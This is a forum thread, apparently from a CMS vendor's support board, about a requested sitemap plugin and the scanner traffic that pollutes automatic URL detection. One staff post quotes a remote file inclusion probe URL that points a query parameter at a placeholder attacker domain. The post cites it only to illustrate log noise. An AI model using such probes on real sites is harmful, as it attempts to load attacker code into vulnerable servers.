What about Plugin for SiteMap Generation?

Hi equinox69,

That's an interesting idea.

We're working on a plugin to dynamically harvest Viewer URLs right now for SEO purposes. Theoretically, we could use the code we develop writing that plugin (which is still in the design phase) to build a site map plugin.

Stay tuned! :)

That's EXACTLY what I was thinking. Interesting, too, I've asked on several occasions for a simple URL generator (for SEO and advertising purposes). How far out are you on this plugin? I'm MORE than interested.

I'd like to put in a vote to support this function also. I dabbled with creating one myself but the issue really stalled when I realized that I had to grab the real world URLs for the content and not just the internal pointers from CMSB.

This would be a Must Have plug-in for me.

Jayme

Hi Jayme,

We've got a system live on this site right now that auto-detects and adds urls. It works great because it can adapt to any website, except for the issue of hacker urls showing up such as:

/about/index.php?kat=http://[hacker-domain]/modules/mod_sections/id1.txt???

There's lots of automated scanners constantly checking websites for known vulnerabilities.

So we're still working on how to detect the valid urls, and somehow ignore the invalid urls.

I'll keep you updated on our progress.

Wonderful. Thanks Dave. I'll be excited to see what you come up with!
J.

Dave,

There's lots of automated scanners constantly checking websites for known vulnerabilities.

this got me a bit worried, maybe this would be great topic to cover in an upcoming newsletter. A bit more on how this threat works and how your customers (me/us) can protect their CMSB installations from this.

..or simply explain it here if that is more convenient.


-aev-

Hi there!

Well, there's nothing dangerous about people *looking* for vulnerabilities. It's only when they find them that there's a problem. :)

There are no known vulnerabilities with CMS Builder, so at the moment that's not an issue. These scans (like the one Dave mentioned above) are usually directed at specific software, especially older versions of things like Wordpress and phpBB that had plenty of known security holes. In fact, I *cough* let my own site get hacked once by forgetting that I had an old version of Wordpress on a disused domain.

Anyway, the best way to guard against that? Always make sure your software is as up to date as possible, even those old sites that you don't think about too often. :)

Again, CMS Builder has no known vulnerabilities, and if there were we would patch it ASAP and recommend upgrades for everybody immediately. As of yet, that's never happened. We try to be pretty meticulous about that.

It's mostly just an annoyance, with fake url requests filling up web server logs, etc.